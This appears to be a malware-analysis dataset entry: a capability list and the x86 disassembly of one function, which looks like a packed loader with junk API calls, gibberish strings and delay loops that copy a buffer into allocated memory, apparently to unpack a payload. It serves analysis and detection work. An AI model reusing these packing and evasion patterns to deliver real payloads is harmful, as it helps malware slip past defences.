Function at 0x408d80
Capabilities:
Connect pipe
Get common file path
Get geographical location
Get hostname
Identify system language via api
Manipulate console buffer
Set console window title
Set file attributes

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x844
mov eax, dword [0x456004]
xor eax, esp
mov dword [esp + 0x840], eax
mov edx, dword [0x2b7ce14]
push ebx
push esi
xor ebx, ebx
push edi
cmp edx, 0x7c
jne 0x408e32
push ebx
push ebx
call dword [sym.imp.USER32.dll_LoadIconA]
call dword [sym.imp.KERNEL32.dll_GetUserDefaultLangID]
push str.Feyixafufab_dozameceyowanu_dig_gogapiwek_liwibumewabuya
call dword [sym.imp.KERNEL32.dll_FindAtomW]
push ebx
lea eax, [esp + 0x4c]
push eax
push ebx
push str.Juzajimosoyezo
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_LCMapStringW]
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_GetCurrentDirectoryW]
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_HeapWalk]
cmp dword [0x2b7ce14], 0x2d
jne 0x408e0d
push ebx
lea ecx, [esp + 0x10]
push ecx
mov dword [esp + 0x14], ebx
call dword [sym.imp.KERNEL32.dll_ConnectNamedPipe]
push ebx
mov dword [esp + 0x24], ebx
mov dword [esp + 0x28], ebx
mov dword [esp + 0x2c], ebx
call fcn.004011e3
add esp, 4
lea edx, [esp + 0x20]
push edx
call section..text
mov edx, dword [0x2b7ce14]
mov ecx, dword [0x457cf0]
xor eax, eax
mov edi, 0xec58acac
or esi, 0xffffffff
cmp eax, 0x8450db
jne 0x408e4f
lea edx, [ecx + 0xa231]
cmp edx, 0x141
jne 0x408e63
mov dword [0x4589f0], edi
mov dword [0x4589f4], esi
inc eax
cmp eax, 0xb9fa618
jl 0x408e42
mov edi, dword [sym.imp.KERNEL32.dll_DeleteCriticalSection]
mov dword [0x2b7ce14], edx
xor esi, esi
lea esp, [esp]
cmp esi, 0x562d05
jne 0x408e92
mov eax, dword [0x457ce4]
mov dword [0x2b7ce18], eax
cmp edx, 0x3c
jne 0x408ea0
push ebx
call edi
mov edx, dword [0x2b7ce14]
inc esi
cmp esi, 0x5f6c74
jl 0x408e80
cmp edx, 0x110a
jne 0x408f21
push ebx
mov dword [0x2b7cce0], ebx
mov dword [0x2b7cce4], ebx
call dword [sym.imp.KERNEL32.dll_GetConsoleAliasesLengthW]
push ebx
push ebx
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_LockFile]
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_GetComputerNameA]
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_SetFileAttributesW]
push ebx
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_GetLocaleInfoA]
lea ecx, [esp + 0x20]
push ecx
push ebx
call dword [sym.imp.KERNEL32.dll_GetCommState]
push ebx
push ebx
call fcn.0040106a
push str.0__s__d__f
call fcn.004011bb
add esp, 0xc
push ebx
call fcn.004010aa
add esp, 4
push ebx
call fcn.004010aa
add esp, 4
push ebx
call fcn.0040147c
push str.kernel32.dll
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov edx, dword [0x2b7ce14]
push edx
push ebx
call dword [sym.imp.KERNEL32.dll_GlobalAlloc]
xor esi, esi
mov dword [0x2b7cb3c], eax
cmp dword [0x2b7ce14], ebx
jbe 0x408f8e
mov edi, dword [sym.imp.KERNEL32.dll_WaitNamedPipeA]
nop
mov eax, dword [0x2b7ce18]
mov dword [esp + 0x10], eax
mov eax, 0xa231
add dword [esp + 0x10], eax
mov ecx, dword [esp + 0x10]
mov dl, byte [ecx + esi]
mov eax, dword [0x2b7cb3c]
mov byte [eax + esi], dl
cmp dword [0x2b7ce14], 0x5ab
jne 0x408f85
push ebx
push str.Ginaci_diwiveharokudo_rehowasut
call edi
inc esi
cmp esi, dword [0x2b7ce14]
jb 0x408f50
push str.msimg32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
call fcn.00408ab0
mov eax, dword [0x2b7ce14]
mov edi, dword [0x2b7cb3c]
mov ebx, dword [0x456ed0]
mov esi, eax
cmp eax, 0x930
jne 0x408fc5
push 0
call dword [sym.imp.KERNEL32.dll_SetConsoleTitleA]
mov eax, dword [0x2b7ce14]
mov dword [0x2b7cb38], ebx
cmp eax, 0x114e
jne 0x408fed
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_HeapReAlloc]
push 0
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov eax, dword [0x2b7ce14]
cmp eax, 0x2f
jne 0x40902b
lea edx, [esp + 0x18]
push edx
xor eax, eax
push eax
xor ecx, ecx
push ecx
lea edx, [esp + 0x18]
push edx
xor ebx, ebx
push ebx
mov dword [esp + 0x20], ecx
mov dword [esp + 0x24], eax
call dword [sym.imp.KERNEL32.dll_WriteConsoleOutputA]
lea eax, [esp + 0x10]
push eax
lea ecx, [esp + 0x24]
push ecx
mov dword [esp + 0x18], ebx
mov dword [esp + 0x1c], ebx
call dword [sym.imp.KERNEL32.dll_FileTimeToLocalFileTime]
push esi
push edi
call fcn.00408c00
add dword [0x2b7cb3c], 0
mov ebx, dword [esp + 0x30]
mov edi, dword [sym.imp.KERNEL32.dll_GetAtomNameW]
add esp, 8
xor esi, esi
jmp 0x409050
push 0
push 0
push 0
call edi
cmp esi, 0x1a01e
jle 0x409068
cmp ebx, 0xf5bed7
jne 0x409071
inc esi
cmp esi, 0x1ece7a52
jl 0x409050
mov edi, dword [sym.imp.KERNEL32.dll_GetConsoleCP]
mov esi, dword [sym.imp.KERNEL32.dll_HeapLock]
mov dword [esp + 0xc], 0x1519a5
mov ebx, 0x8e46a6f0
lea ebx, [ebx]
cmp dword [0x2b7ce14], 0xcc1
jne 0x40909e
call edi
cmp dword [0x2b7ce14], 0x3dc
mov dword [0x2b7ccdc], ebx
jne 0x4090b4
push 0
call esi
dec dword [esp + 0xc]
jne 0x409090
mov ecx, dword [esp + 0x84c]
pop edi
pop esi
pop ebx
xor ecx, esp
call fcn.0040105b
mov esp, ebp
pop ebp
ret